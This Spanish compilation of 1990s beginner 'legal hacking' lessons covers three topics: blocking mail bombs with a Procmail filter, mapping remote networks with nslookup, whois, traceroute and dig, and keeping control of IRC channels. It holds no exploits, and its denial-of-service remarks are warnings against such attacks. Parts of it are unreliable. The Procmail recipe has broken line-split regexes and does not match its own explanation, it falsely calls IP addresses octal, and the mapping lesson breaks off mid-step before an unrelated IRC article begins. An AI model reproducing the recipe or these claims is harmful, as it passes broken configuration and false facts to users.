Otra forma de que tu ISP te pueda ayudar es proveyéndote de un programa llamado Procmail, que se ejecuta en sistemas Unix. Para mas detalles, Zach Babayco (zachb@netcom.com) ha proporcionado el siguiente artículo. ¡Muchas Gracias Zach!


Cómo defenderse de bombardeos de correo y correo no solicitado

Copyright Zach Babayco, 1996

[Antes de comenzar este artículo, quiero agradecer a Nancy McGough el haberme dejado citar suFAQ sobre Filtrado de Correo, disponible en http://www.cis.ohio-satate.edu/hypertext/faq/usenet/mail/filtering-faq/faq.html. Esta es una de las mejores FAQs de filtrado de correo disponibles, y si tienes algún problema con mi dirección, o quieres aprender más acerca de filtrar correo, aquí es donde debes buscar].

Ultimamente hay más y más gente ahí fuera mandándote correo que tú simplemente no quieres, basura del tipo "¡Gane dinero rápido!" o estúpidas revistas electrónicas que nunca has solicitado. Y peor aún, también hay bombardeos de correo.

Hay dos tipos de bombardeos de correo, el bombardeo por correo masivo y el bombardeo por las listas de correo:

1.      Bombardeos de correo masivo: en este caso el atacante envía cientos o incluso miles de correos, normalmente empleando scripts y cuentas falsas de correo. De los dos tipos, de éste es del que más fácilmente te puedes defender, ya que los mensajes vendrán de unas pocas direcciones en la mayoría de los casos.

2.      Bombardeos de listas de noticias: en este caso, el atacante te suscribirá a cuantas listas de correo pueda. Este es peor que el correo masivo, ya que te llegará correo de diferentes listas, y tendrás que guardar alguno de estos para saber cómo borrarte de cada una de las listas.

Aquí es donde actúa Procmail. Procmail (pronunciado prok-mail) es un programa de filtrado de correo que puede hacer algunas tareas bonitas con tu correo. Por ejemplo, si te has suscrito a varias listas de correo de gran volumen, puede ser configurado para clasificar el correo en distintas carpetas. De este modo los mensajes no estarán revueltos en tu Bandeja de Entrada. Procmail también se puede configurar para borrar correo procedente de ciertas direcciones o de cierta gente.

Configuración de Procmail


En primer lugar, tienes que ver si tu sistema tiene instalado Procmail. Desde la línea de órdenes, teclea:

> which procmail

Si tu sistema tiene instalado Procmail, esta orden te dirá dónde está instalado. Toma nota, lo necesitarás más tarde.

Nota: si tu sistema te devuelve el mensaje "Unknown Command: which" entonces inténtalo sustituyendo "which" por "type", "where" o "whereis".

Si aún así no encuentras Procmail, puede que el sistema no lo tenga instalado. No obstante, no te rindas- echa un vistazo a la FAQ que mencioné al principio de este fichero y mira si tu sistema tiene alguno de los programas de los que se habla.

Luego tienes que crear un fichero de configuración para Procmail. En el resto de este documento, utilizare el editor Pico. Puedes utilizar cualquier editor de texto con el que trabajes a gusto.

Asegúrate de que estás en tu directorio base, y abre el editor.

> cd
> pico .procmailrc

Introduce lo siguiente en el fichero .procmailrc.

# Esta línea le indica a Procmail que debe registrar en su fichero de log. Ponlo en On #cuando estés depurando
VERBOSE=off

# Sustituye 'mail' por tu dirección de correo electrónico
MAILDIR=$HOME/mail

# Aquí es donde se almacenarán los ficheros rc y ficheros de log
PMDIR=$HOME/.procmail
LOGFILE=$PMDIR/log

# INCLUDERC=$PMDIR/rc.ebomb

(Sí: teclea la línea de INCLUDERC con el #)

Ahora que ya has tecleado esto, sálvalo y vuelve a tu directorio raíz.

> cd
> mkdir .procmail

Ahora entra en el directorio que acabas de crear, y abre el editor con un fichero nuevo: rc.ebomb.

IMPORTANTE: asegúrate de que tienes desactivado el ajuste de línea del editor durante este proceso. Necesitaras que las líneas que siguen a cada uno de los asteriscos del siguiente ejemplo estén todas en una línea. Con Pico, utiliza la opción "-w". Consulta el manual del editor que utilices para saber cómo quitar el ajuste de línea. Asegúrate cuando estés editándolo de NO dejar espacios en blanco en esa línea.

> cd .procmail
> pico -w rc.noebomb

# noebomb - bloqueo de bombardeo de correo
:0
* ! ^((((Resent-)?(From|Sender)|X-Envelope-From):|From )
(.*[^.%@a-z09])?(Post(ma?(st(e?r)?|n)|office)|Mail(er)?|daemon
|mmdf|root|uucp|LISTSERV|owner |request|bounce|serv(ices?|er))
([^.!:a-z0-9]|$)))
* ! ^From:.*(postmaster|Mailer|listproc|
majordomo|listserv|cmeinel|johnb)
! ^TO(netstuff|computing|pcgames)
/dev/null

Veamos qué hace esto. La primera línea le dice a procmail que esto es el principio de un fichero de configuración. Las fórmulas son, básicamente, eso - le dicen al programa qué es lo que tiene que buscar en cada uno de los mensajes electrónicos, y si encuentra lo que busca, ejecutará una función con el mensaje - reenviarlo a alguien, guardarlo en unaa carpeta, o como en este caso, borrarlo.

Las líneas que comienzan con * se llaman "condiciones". El asterisco (*) le dice a procmail que este es el inicio de una condición. La admiración (!) le dice que tiene que hacer lo contrario de lo que normalmente hace.

Condición 1 (todo en la misma línea):

! ^((((Resent-)?(From|Sender)|X-Envelope-From):|From )
(.*[^.%@a-z0-9])? (Post(ma?(st(e?r)?|n)|office)|Mail(er)?|daemon
|mmdf|root|uucp|LISTSERV|owner|request|bounce|serv(ices?|er))
([^.!:a-z0-9]|$)))

No te asustes con esto, es más simple de lo que parece a primera vista. Esta condición le dice a Procmail que mire a la cabecera del mensaje, que vea si es la dirección de correo del root o del postmaster, y que compruebe si procede de un daemon de correo (el programa que envía tu correo). Si el mensaje es de una de esas direcciones, la función pondrá el mensaje en tu bandeja de entrada y no lo borrará.


Nota para usuarios avanzados: aquellos de vosotros que estéis familiarizados con Procmail os preguntaréis por qué quiero que el usuario teclee todas estas largas líneas de órdenes, en lugar de utilizar la orden FROM_MAILER. Bueno, puede parecer una buena idea al principio, pero he descubierto hace pocos días que FROM_MAILER también comprueba la cabecera "Precedence: " en busca de palabras como "junk", "bulk" y "list". Muchos (si no todos) los servidores de listas de correo tienen "Precedence:bulk" o "Precedence:list", así que si alguien te suscribe a muchas listas, FROM_MAILER dejará pasar la mayoría de los mensajes; esto es lo que NO queremos.


Condición 2:

* ! ^From:.*(listproc|majordomo|cmeinel|johnb)

Esta condición hace más comprobaciones en la línea del "From:" de la cabecera. En este ejemplo comprueba si existen las palabras "listproc", "majordomo", "cmeinel", y "johnb". Si es alguna de estas personas, dejará pasar el mensaje a la bandeja de entrada. Si no, está muerto. Aquí es donde debes poner los nombres de usuario de la gente que te escribe normalmente, y también los nombres de usuario de los servidores de listas de correo, como puede ser "listproc" y "majordomo". Cuando edites esta línea, recuerda: pon sólo el nombre de usuario en la condición, no la dirección de correo electrónica entera de la persona, y recuerda poner un '|' entre cada nombre.

Condición 3:

*! ^TO(netnews|crypto-stuff|pcgames)

Esta condición final es donde pondrás los nombres de usuario de las listas de correo a las que estás suscrito (si lo estás). Por ejemplo, yo estoy suscrito a las listas "netnews", "crypto-stuff" y "pcgames". Cuando te llega un mensaje de una lista, la mayoría de las veces la dirección de correo de la lista aparecerá en el "To:" o en el "Cc:" del encabezamiento, en lugar de en el apartado del "From:". Con esta línea se comprueban esos nombres de usuario y los deja pasar a tu bandeja de entrada si coincide. Las instrucciones para la edición son las mismas que para la condición 2.

La ultima línea, /dev/null, es esencialmente la papelera de tu sistema. Si alguno de tus mensajes no cumple ninguna de las condiciones, (por ejemplo, no es un mensaje del administrador, no es un mensaje de una lista de noticias o no es de alguien a quien escribes, y no es un mensaje de alguna de tus listas de distribución) Procmail depositará el mensaje en /dev/null, para no ser visto nunca más.


Cómo trazar un mapa de Internet


¡Dig! ¡Whois! ¡Nslookup! ¡Traceroute! Cada vez es más difícil usar el puerto netstat...

¿Por qué hacer un mapa de Internet?

Pero en esta lección de hacking legal, no te vamos a ayudar a cómo determinar qué servidor es el mejor para colocarle un buscador de puertos o cómo saber qué dirección IP suplantar para conseguir pasar un filtro de paquetes. Sólo vamos a explorar con las mejores herramientas a nuestro alcance para hacer mapas de los dominios de Internet que no están cartografiados.

Con esta lección, podrás sacar algún beneficio aunque sólo tengas Windows. Aunque para aprovechar completamente los conocimientos de esta lección, deberías tener alguna versión elemental de Unix en tu ordenador, o ¡una cuenta shell! ¡UNA CUENTA SHELL! Si no tienes una, puedes encontrar un ISP que te la dará en http://www.celestin.com/pocia/.


Nota para principiantes: Una cuenta shell es una cuenta de tu ISP que te permite ejecutar órdenes en un ordenador con UNIX. La "shell" es el programa que traduce lo que tú tecleas a órdenes Unix. Créeme, si eres un principiante, la bash (Bourne again shell) será la shell más fácil de utilizar. Pide al soporte técnico de tu ISP una cuenta shell con bash. O puede ser que tú mismo puedas usarla escribiendo simplemente la palabra "bash" en la línea de órdenes. Si tu ISP no te proporciona una cuenta shell, busca un nuevo ISP que te la proporcione. Un buen libro sobre el uso de la shell bash es "Learning the Bash Shell", de Cameron Newham y Bill Rosenblatt, publicado por O'Reilly.


Así que para nuestra expedición cartográfica, podemos empezar visitando Internet en ¡Botswana! Eh, ¿está Botswana en Internet? Es una bonita nación continental del sur de África, famosa por sus ranchos ganaderos, diamantes y fauna abundante. El idioma comercial en Botswana es el inglés, de modo que hay buenas posibilidades de que podamos entender los mensajes de sus ordenadores.

Nuestro primer paso para conocer algo acerca de los ordenadores de Internet en Botswana es utilizar el programa nslookup de Unix.


Truco para genios malignos: Nslookup es una de las herramientas más poderosas existentes para hacer mapas en Internet. Apenas podremos hacerle justicia aquí. Si quieres aprender cómo explorar al máximo, consigue el libro "DNS and BIND", de Paul Albitz y Cricket Liu, publicado por O'Reilly, edición de 1997.


El primer paso puede consistir en encontrar dónde ha escondido tu ISP el programa utilizando el comando "whereis nslookup." (O tu ordenador puede usar la orden "find".) Ajá, ¡aquí está! Le doy la orden:

-> /usr/etc/nslookup
Default Server: swcp.com
Address: 198.59.115.2 >

Estas dos líneas y el símbolo ligeramente diferente (no es una flecha cualquiera) me dicen que mi ISP local está ejecutando el programa para mí. (Es posible ejecutar nslookup en un ordenador desde el tuyo.) Ahora ya estamos en el programa, así que tengo que tener en cuenta que ya no puedo usar las órdenes de la shell bash. El siguiente paso es decirle al programa que nos gustaría conocer qué ordenadores manejan un determinado nombre de dominio.

> set type=ns

Después necesitamos conocer el nombre del dominio de Botswana. Hecho esto miramos la lista de los dominios más importantes, página 379 de la edición de 1997, de "DNS and BIND". Para Botswana es bw. Así que escribimos esto en la línea de órdenes, recordando -esto es MUY importante- poner un punto después del nombre del dominio:

> bw.

Server: swcp.com
Address: 198.59.115.2

Non-authoritative answer:

Esto de "non-authoritative answer" me dice que esta información ha estado guardada mucho tiempo, de modo que es posible, pero improbable, que la información de abajo haya cambiado.

bw nameserver = DAISY.EE.UND.AC.ZA
bw nameserver = RAIN.PSG.COM
bw nameserver = NS.UU.NET
bw nameserver = HIPPO.RU.AC.ZA Authoritative answers can be found from:
DAISY.EE.UND.AC.ZA inet address = 146.230.192.18
RAIN.PSG.COM inet address = 147.28.0.34
NS.UU.NET inet address = 137.39.1.3
HIPPO.RU.AC.ZA inet address = 146.231.128.1

Busco el nombre de dominio "za" y descubro que pertenece a Sudáfrica. Ello me indica que Internet está en los albores en Botswana; no hay servidores de nombres allí, están en Sudáfrica. ¡Mira todos esos servidores de nombres!.


Nota para principiantes: Un servidor de nombres es un programa de ordenador que carga los datos del Sistema de Nombres de Dominio. El Sistema de Nombres de Dominio se asegura de que no existan dos ordenadores con el mismo nombre. También proporciona información sobre dónde encontrar otros ordenadores. Cuando varios servidores de nombres contactan entre ellos, pueden eventualmente, en pocos segundos, trazar un camino entre los millones de ordenadores de Internet.


Bien, lo que esto quiere decir es que la gente que desee tener servidores conectados a Internet en Botswana normalmente usará servidores situados en Sudáfrica para conectarse. Aprendamos más sobre Sudáfrica. Puesto que todavía estamos en el programa nslookup, pondré la orden que me diga qué ordenadores son servidores de nombres en Sudáfrica:

> za.

Server: swcp.com
Address: 198.59.115.2

Non-authoritative answer:
za nameserver = DAISY.EE.UND.AC.za
za nameserver = UCTHPX.UCT.AC.za
za nameserver = HIPPO.RU.AC.za
za nameserver = RAIN.PSG.COM
za nameserver = MUNNARI.OZ.AU
za nameserver = NS.EU.NET za nameserver = NS.UU.NET
za nameserver = UUCP-GW-1.PA.DEC.COM
za nameserver = APIES.FRD.AC.za
Authoritative answers can be found from:
DAISY.EE.UND.AC.za inet address = 146.230.192.18
UCTHPX.UCT.AC.za inet address = 137.158.128.1
HIPPO.RU.AC.za inet address = 146.231.128.1
RAIN.PSG.COM inet address = 147.28.0.34
MUNNARI.OZ.AU inet address = 128.250.22.2
MUNNARI.OZ.AU inet address = 128.250.1.21
NS.EU.NET inet address = 192.16.202.11
UUCP-GW-1.PA.DEC.COM inet address = 204.123.2.18
UUCP-GW-1.PA.DEC.COM inet address = 16.1.0.18
APIES.FRD.AC.za inet address = 137.214.80.1


Nota para principiantes: ¿Qué se supone que es una dirección inet = 137.214.80.1? Este es el nombre del ordenador en Internet (inet) -en este caso APIES.FRD.AC- en octal. Ell sistema de numeración octal son números normales, excepto porque están en base 8 en lugar de en base 10. Todas los nombres de ordenadores tienen que ser traducidos a números para que otros ordenadores puedan entenderlos.


¡Ajá! Algunos de estos servidores de nombres están fuera de Sudáfrica. Vemos ordenadores en Australia (au) y en Estados Unidos (dominio com). A continuación, salimos de nslookup con la orden ^D. Esto se hace pulsando la tecla de control y simultáneamente la letra "d". Es MUY IMPORTANTE salir de nslookup de esta forma y no con ^C.

Después, escogemos un servidor de nombres en Sudáfrica y preguntamos:

-whois HIPPO.RU.AC.ZA
[No name] (HIPPO)

Hostname: HIPPO.RU.AC.ZA
Address: 146.231.128.1
System: SUN running SUNOS

Domain Server

Record last updated on 24-Feb-92.

To see this host record with registered users, repeat the command with a star ('*') before the name; or, use '%' to show JUST the registered users.

The InterNIC Registration Services Host contains ONLY Intener Information (Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

¡Bien! Esto nos dice qué tipo de ordenador es -un Sun- y el sistema operativo, Sun OS.

Ahora, para variar, uso la orden whois con la dirección numérica de uno de los servidores de nombres. Esto no siempre nos devuelve el nombre en texto, pero a veces funciona, y aquí está:

-whois 146.230.192.18
[No name] (DAISY1)

Hostname: DAISY.EE.UND.AC.ZA
Address: 146.230.192.18
System: HP-9000 running HP-UX

Domain Server

Record last updated on 14-Sep-94.

Ah, pero todo esto sólo sirve para darnos información acerca de quién es el servidor de nombre y para quién trabaja. Entonces ¿qué tal si trazamos directamente la ruta desde mi ordenador a Sudáfrica? Para eso usaremos la orden traceroute.


Aviso de netiqueta: El programa traceroute se usa para pruebas, medición y gestión de la red. Debe usarse principalmente para localizar problemas manualmente, como aquella vez que no pude cartearme electrónicamente con mi amigo de Irlanda del Norte. Debido a la sobrecarga que podría hacer a la red, es imprudente usar traceroute desde programas automatizados, pues podrían causar el envío de preguntas largas o numerosas. Úsalo demasiado y tu ISP puede empezar a hacerte algunas preguntas molestas.



Aviso de cárcel: Si has tenido alguna idea de cómo utilizar traceroute para realizar un ataque de negación de servicio, no llames a tu periodista favorito para decirle que estás planeando un ataque de negación de servicio contra el ISP de gente famosa como ¡Bill Clinton y Carolyn Meinel! :-) No escribas ese script. No lo uses. Si lo haces, concederé otra entrevista a la revista PC World (http://www.pcworld.com/news/newsradio/meinel/index.html) diciendo cómo un niño de 3 años podría realizar el ataque. Y si te cogen, nos reiremos de ti cuando te lleven esposado y tu amigo periodista cobre un anticipo de 2500 dólares por el libro que escribirá sobre ti.


Ejecuto la orden:

-> whereis traceroute
traceroute: /usr/local/bin/traceroute

Vale, ahora ya podemos hacer mapas deprisa. Ejecuto la orden:

->/usr/local/bin/traceroute DAISY.EE.UND.AC.ZA

Y la respuesta es:

traceroute to DAISY.EE.UND.AC.ZA (146.230.192.18), 30 hops max, 40 byte packets
1 sisko (198.59.115.1) 3 ms 4 ms 4 ms
2 glory-cyberport.nm.westnet.net (204.134.78.33) 47 ms 8 ms 4 ms
3 ENSS365.NM.ORG (129.121.1.3) 5 ms 10 ms 7 ms
4 h4-0.cnss116.Albuquerque.t3.ans.net (192.103.74.45) 17 ms 41 ms 28 ms
5 f2.t112-0.Albuquerque.t3.ans.net (140.222.112.221) 7 ms 6 ms 5 ms
6 h14.t16-0.Los-Angeles.t3.ans.net (140.223.17.9) 31 ms 39ms 84 ms
7 h14.t8-0.San-Francisco.t3.ans.net (140.223.9.13) 67 ms 43 ms 68 ms
8 enss220.t3.ans.net (140.223.9.22) 73 ms 58 ms 54 ms
9 sl-mae-w-F0/0.sprintlink.net (198.32.136.11) 97 ms 319 ms 110 ms
10 sl-stk-1-H11/0-T3.sprintlink.net (144.228.10.109) 313 ms 479 ms 473 ms
11 sl-stk-2-F/T.sprintlink.net (198.67.6.2) 179 ms * *
12 sl-dc-7-H4/0-T3.sprintlink.net (144.228.10.106) 164 ms * 176 ms
13 sl-dc-7-F/T.sprintlink.net (198.67.0.1) 143 ms 129 ms 134 ms
14 gsl-dc-3-Fddi0/0.gsl.net (204.59.144.197) 135 ms 152 ms 130 ms
15 204.59.225.66 (204.59.225.66) 583 ms 545 ms 565 ms
16 * * *
17 e0.csir00.uni.net.za (155.232.249.1) 516 ms 436 ms 400 ms
18 s1.und00.uni.net.za (155.232.70.1) 424 ms 485 ms 492 ms
19 e0.und01.uni.net.za (155.232.190.2) 509 ms 530 ms 459 ms
20 s0.und02.uni.net.za (155.232.82.2) 650 ms * 548 ms
21 Gw-Uninet1.CC.und.ac.za (146.230.196.1) 881 ms 517 ms 478 ms
22 cisco-unp.und.ac.za (146.230.128.8) 498 ms 545 ms *
23 IN.ee.und.ac.za (146.230.192.18) 573 ms 585 ms 493 ms

¿Qué significa todo este galimatias?

El número del comienzo de cada línea es el número de saltos desde que sale del ordenador que tiene la cuenta shell que uso.

La segunda entrada es el nombre del ordenador por el que pasa esta ruta, primero en texto, y después entre paréntesis su representación numérica.

Los números después de esto son el tiempo en milisegundos que tarda cada una de las tres pruebas de envío de paquetes en dar ese salto. Cuando aparece un *, el tiempo para el salto ha superado el límite. En el caso de esta orden traceroute, el tiempo ha sido mayor de 3 segundos lo que ha causado la aparición del *.

¿Y el salto 16? No nos da ninguna información. Ese servidor silencioso puede ser el resultado de un fallo en el código de red de Unix BSD 4.1, 4.2 o 4.3. Un ordenador ejecutando uno de estos sistemas operativos envía un mensaje de "inalcanzable". O puede que sea otra cosa. Lo siento, no soy lo bastante genio para saber esto con certeza. ¿Ya nos hemos divertido?


Truco para genios malignos: Si quieres obtener realmente detalles completos de la orden traceroute, en tu cuenta de shell escribe la orden:

-> man traceroute

Te lo prometo, la información de un manual electrónico suele estar escrita de una forma entretenida. Especialmente el manual del Sun OS. ¡De verdad!



Nota para los tentados por la cuenta shell: Si tienes Windows 95, puedes obtener los mismos resultados -Me refiero a hacer mapas de Internet sin ir a la cárcel- usando la orden "tracert". Así es como funciona:

1.      Abre una conexión PPP. Por ejemplo, si usas Compuserve o AOL, haz la conexión y minimiza el programa de acceso en línea.

2.      Pulsa en el menú de arranque.

3.      Abre una ventana DOS.

4.      En la línea de órdenes del DOS teclea "tracert ordenador.lejano.com", donde "ordenador.lejano.com" se reemplaza por el nombre del ordenador sobre el que deseas hacer el trazado de una ruta. Pulsa la tecla Enter.

5.      Ten paciencia. Especialmente si estás trazando una ruta a un ordenador lejano, cuesta algo establecer todas las conexiones. Cada vez que tu ordenador se conecta a otro ordenador en Internet, éste primero tiene que trazar una ruta al otro ordenador. Por eso a veces a tu navegador le lleva un rato empezar a bajar una página Web.

6.      Si decides usar Windows para esta lección de hacking, Damien Sorder tiene un mensaje para nosotros: "¡NO LES ANIMES A USAR WIN95!@#$!@#!" Tiene razón, pero como la mayoría de los que leéis esto sois adultos conscientes, me parece que sería vuestro funeral si os lanzárais a hacer hacking con Windows con ¡una conexión PPP de AOL!


Ahora esto está poniéndose interesante. Sabemos que Daisy está conectado directamente por lo menos a otro ordenador, y éste ordenador a su vez está conectado a cisco-unp.und.ac.za. Aprendamos algo sobre este cisco-unp.und.ac.za, ¿vale?

Primero, podemos suponer por el nombre que es un router Cisco. De hecho, el primer salto en esta ruta es a un ordenador llamado "sisco," que probablemente también sea un router Cisco. Como el 85% de los routers del mundo son Cisco, es una apuesta bastante segura. Pero vamos a comprobar no sólo que cisco-unp.und ac.za es un Cisco. También vamos a encontrar el número del modelo y otras variadas golosinas.

Primero probaremos con whois:

-> whois cisco-unp.und.ac.za
No match for "CISCO-UNP.UND.AC.ZA".

The InterNIC Registration Services Host contains ONLY Internet Information (Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

¿Eh? Traceroute nos dice que cisco-unp.und.ac.za existe, pero whois ¡no puede encontrarlo! En realidad es un problema común, especialmente si se intenta usar whois en ordenadores lejanos. ¿Qué hacemos a continuación? Bien, si tienes suerte, la orden whereis puede devolvernos otro programa increíblemente interesante: ¡dig!


Nota para principiantes: Dig significa "domain information groper", "rastreador de información de dominios". Hace muchas de las cosas que hace nslookup. Pero dig es un programa más viejo y en algunas ocasiones es más difícil de usar que nslookup. Para detalles sobre dig, usa la orden "man dig" en tu cuenta shell.


Descubrí que en mi cuenta shell podía ejecutar directamente dig desde mi línea de ordenes bash:

-> dig CISCO-UNP.UND.AC.ZA

; << DiG 2.0 << CISCO-UNP.UND.AC.ZA
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aard ra; Ques: 1, Ans: 4, Auth: 5, Addit: 5
;; QUESTIONS:
;; CISCO-UNP.UND.AC.ZA, type= A, class = IN

;; ANSWERS:
CISCO-UNP.UND.AC.ZA. 86400 A 146.230.248.1
CISCO-UNP.UND.AC.ZA. 86400 A 146.230.12.1
CISCO-UNP.UND.AC.ZA. 86400 A 146.230.60.1
CISCO-UNP.UND.AC.ZA. 86400 A 146.230.128.8

;; AUTHORITY RECORDS:
und.ac.za. 86400 NS Eagle.und.ac.za.
und.ac.za. 86400 NS Shrike.und.ac.za.
und.ac.za. 86400 NS ucthpx.uct.ac.za.
und.ac.za. 86400 NS hiPPo.ru.ac.za.
und.ac.za. 86400 NS Rain.psg.com.

;; ADDITIONAL RECORDS:
Eagle.und.ac.za. 86400 A 146.230.128.15
Shrike.und.ac.za. 86400 A 146.230.128.13
ucthpx.uct.ac.za. 86400 A 137.158.128.1
hiPPo.ru.ac.za. 86400 A 146.231.128.1
Rain.psg.com. 14400 A 147.28.0.34

;; Total query time: 516 msec
;; FROM: llama to SERVER: default -- 198.59.115.2
;; WHEN: Fri Jan 17 13:03:49 1997
;; MSG SIZE sent: 37 rcvd: 305

Ahhh, que bonito. Las primeras líneas, las precedidas por las marcas ;;, indican cuál es la configuración por defecto de la orden y lo que le preguntamos. La línea "Ques: 1, Ans: 4, Auth: 5, Addit: 5" nos dice cuántos elementos obtendremos bajo cada apartado de preguntas, respuestas, registros de autoridad, y registros adicionales. (Obtendrás números diferentes en esta línea con preguntas diferentes). Estos "registros" se refieren a la información almacenada bajo el sistema del nombre de dominio.

Lo que aprendemos del dig es que CLASS=IN, refiriéndose a CISCO-UNP.UND.AC.ZA, es un nombre de dominio dentro de Internet. Pero esto ya lo sabíamos. Lo primero realmente *nuevo* que aprendemos es que los cuatro routers comparten el mismo nombre de dominio. Podemos decirlo porque los números de la dirección de Internet son diferentes. También puede darse lo contrario, que varios nombres de dominio pertenezcan a la misma dirección numérica. Si usas la orden dig en cada enlace en la ruta hasta DAISY.EE.UND.AC.ZA, podrás encontrar variaciones enormes dependiendo de si los routers te dirigen a los mismos o a diferentes nombres de dominio. Como hackers, queremos saber mediante esas variantes cómo los nombres de dominio están asociados con las máquinas.

Pero todavía podemos aprender más sobre ese router Cisco llamado CISCO-UNP.UND.AC.ZA. Volvemos al nslookup y lo ejecutamos en modo interactivo:

-> /usr/etc/nslookup
Default Server: swcp.com
Address: 198.59.115.2
>

 

Cómo evitar que te echen de un IRC


Empezaremos mostrando nuestro agradecimiento a Patrick Rutledge, Warbeast, Meltdown y k1neTiK, quienes nos han suministrado información de incalculable valor sobre un tema tan candente como es el mundo del IRC. ¡Socorro! ¡Que me echan de mi conexión....!

¿Qué es lo que le puede interesar a los hackers sobre el IRC? Buah, el IRC es taaaan fácil de usar... hasta que te conectas a un servidor donde la tónica son las guerras de hackers. ¿Qué demonios hago para evitar que me echen una y otra vez?

De acuerdo, bastaría con mandar a tus enemigos al diablo y largarte de ese canal. Pero sin embargo sería buena idea quedarte por allí, porque si quieres hacer amigos rápidamente en el mundo de los hackers una de las mejores formas es a través del IRC (Internet Relay Chat).

En el IRC, un grupo de gente teclea constantemente mensajes en una pantalla casi en tiempo real. Puede ser más divertido que Usenet (los servidores de noticias), donde para que aparezcan las respuestas de la gente pueden pasar desde minutos hasta horas. A diferencia de Usenet, si dices algo de lo que te puedas arrepentir, pronto desaparecerá de la pantalla. Ejem... vale, de acuerdo, desaparecerá pronto SI nadie está grabando la sesión.

Se puede decir que el IRC es parecido a las emisoras de radioaficionados, con montones de personas insultándose y haciéndose locuras unos a otros de las formas más singulares e irritantes, por lo que no esperes ver desplazándose por la pantalla de tu ordenador sabiduría eterna. Sin embargo, debido a que el IRC es una forma barata para que la gente de todo el mundo pueda intercambiar ideas rápidamente, los hackers lo usan frecuentemente. También, dadas las guerras que se pueden mantener por el control de los canales del IRC, puede resultar un buen entrenamiento.

Para conectarte al IRC necesitas un programa que actúe como cliente del IRC y un sitio web o un ISP que esté ejecutando un programa servidor de IRC.


Nota para principiantes: un programa que utilice un recurso se llama "cliente". Un programa que ofrezca un recurso es un "servidor". Tu cliente IRC se ejecuta en el ordenador de tu casa, o en el ordenador de tu cuenta shell, y se conecta a un servidor IRC que se ejecuta en un ordenador remoto en algún lugar de Internet.


Puede ser que ya tengas un servidor IRC en tu ISP, por lo que el Servicio de Atención al Cliente debería ser capaz de darte instrucciones sobre su uso. Más fácil aún, si tu navegador está configurado para usar Java podrías utilizar el IRC directamente desde él si usas un servidor IRC basado en Web.

¿Dónde están los mejores servidores para encontrar a otros hackers?

Existen varios servidores IRC que normalmente ofrecen canales de hackers. EFNet (Eris-Free Network = Red Eris-Free) une muchos servidores IRC. Originalmente fue creada por Eris FreeNet (ef.net). Tiene fama de ser un "campo de batalla" donde podrías tener la oportunidad de practicar "sobre el terreno" las técnicas del IRC que veremos a continuación.

Undernet es una de las redes más grandes que hay de servidores de IRC. El principal propósito de Undernet es el de ser un lugar amigable donde las guerras de IRC están bajo control. Pero esto implica una cosa... sí, exacto... ¡un montón de "policías" del IRC! Los operadores de estos servidores IRC tienen permiso para eliminarte no sólo de un canal sino también de un servidor. Demonios, pueden prohibirte la entrada eternamente, e incluso prohibir todo tu dominio.


Nota para principiantes: Un dominio son las dos últimas partes (o a veces tres o cuatro) de tu dirección de correo. Por ejemplo, aol.com es el nombre del dominio de America Online. Si un red IRC bloqueara el dominio aol.com, eso querría decir que se prohibiría el acceso de cualquier persona de America Online.


Aviso de puñetazo en la nariz: Si los administradores de tu ISP averiguan que has conseguido que se prohiba el acceso de todo su dominio a una red IRC, por haber realizado bombardeo ICMP o cualquier otra cosa, ¡se pondrán tremendamente furiosos contigo!. Serás afortunado si lo peor que te pasa es perder la cuenta. Rezarás para que ninguno de los adictos al IRC de tu ISP se entere de que fuiste tú el que consiguió que los bloquearan a todos.


IRCNet es probablemente del mismo tamaño, si no mayor, que Undernet. IRCNet es básicamente la sección euro-australiana de la vieja EFNet.

Sí, el IRC es un fenómeno de dimensiones mundiales. Conéctate a la red IRC apropiada y podrás estar haciendo amigos entre hackers de cualquier continente del planeta. Existen al menos 80 redes IRC, y para aprender cómo conectarte a ellas, dirígete a http://www.irchelp.org/. Puedes localizar algún servidor IRC más yendo a http://hotbot.com o a http://digital.altavista.com y buscando por "IRC server". Algunos servidores IRC son ideales para el hacker de élite, por ejemplo el servidor de l0pht. Fíjate en que en l0pht hay un "cero" y no una "O".


Truco para genios malignos: Conéctate a un servidor IRC haciendo telnet directamente a través del puerto 6667 al nombre del servidor.


Pero antes de que te emociones demasiado con esto del IRC, déjanos avisarte. El IRC ya no es tan divertido porque algunos tí0z no tienen suficiente con usarlo para decir palabrotas y soltar bulos sobre los familiares de la gente o sus costumbres higiénicas. Se divierten echando a la gente que hay en el IRC. Esto es así porque son demasiado gallinas como para empezar las peleas en los bares, por lo que machacan a la gente en el ciberespacio, donde no tienen que preocuparse porque les puedan vapulear.

Pero vamos a enseñar algunas maneras simples y efectivas de evitar que estos perdedores puedan arruinar tu sesión IRC, aunque primero necesitas conocer alguna de las formas con las que poder echar del IRC a estos bravucones.

La manera más sencilla de meterse en problemas es dar el control accidentalmente de tu canal IRC a un impostor que lo único que desea es echarte a ti y a tus amigos.

Verás, la primera persona que abre un canal en el servidor IRC es automáticamente el operador (OP). El operador tiene el poder de echar a la gente o de invitarla a entrar. También, si el operador así lo quiere, puede asignar el status de operador a otras personas.

En una situación ideal, cuando te marchas de un canal, tendrías que asignar este status a un amigo en quien confíes, o tal vez alguien que creas que es un buen tío y que esté rogándote a todas horas que le conviertas en operador. Podrías decidir incluso ceder el OP a alguien con el fin de demostrarle amistad. Pero si te engañan y accidentalmente das el OP a un mal tío, que está pretendiendo ser alguien que conoces y en quien confías, tu entretenido chat puede ser historia.

Una forma de evitar que todas estas molestias tengan lugar es simplemente no dar el OP a gente que no conozcas, pero por desgracia esto es más fácil de decir que de hacer. Queda muy bien dar el OP a tus colegas, ya que no querrás parecer un engreído por negar a todo el mundo el OP. Así que si vas a dar el OP a un amigo, ¿cómo puedes saber si ese tío del IRC es realmente tu amigo?

¡Sólo por reconocer el alias (o nick), no asumas que es quien tú crees que es! Comprueba la dirección de su ordenador asociada con el alias usando el comando "/whois IRCnick" donde "IRCnick" es el apodo de la persona que deseas comprobar.

Este comando "/whois" te devolverá la dirección de correo de la persona que esté usando ese alias. Si, por ejemplo, ves "d***@falsohacker.net" en vez de la dirección que esperabas, es decir colega@enrollado.com, entonces no le hagas OP. Pídele que explique quién es y por qué su dirección de correo es diferente.

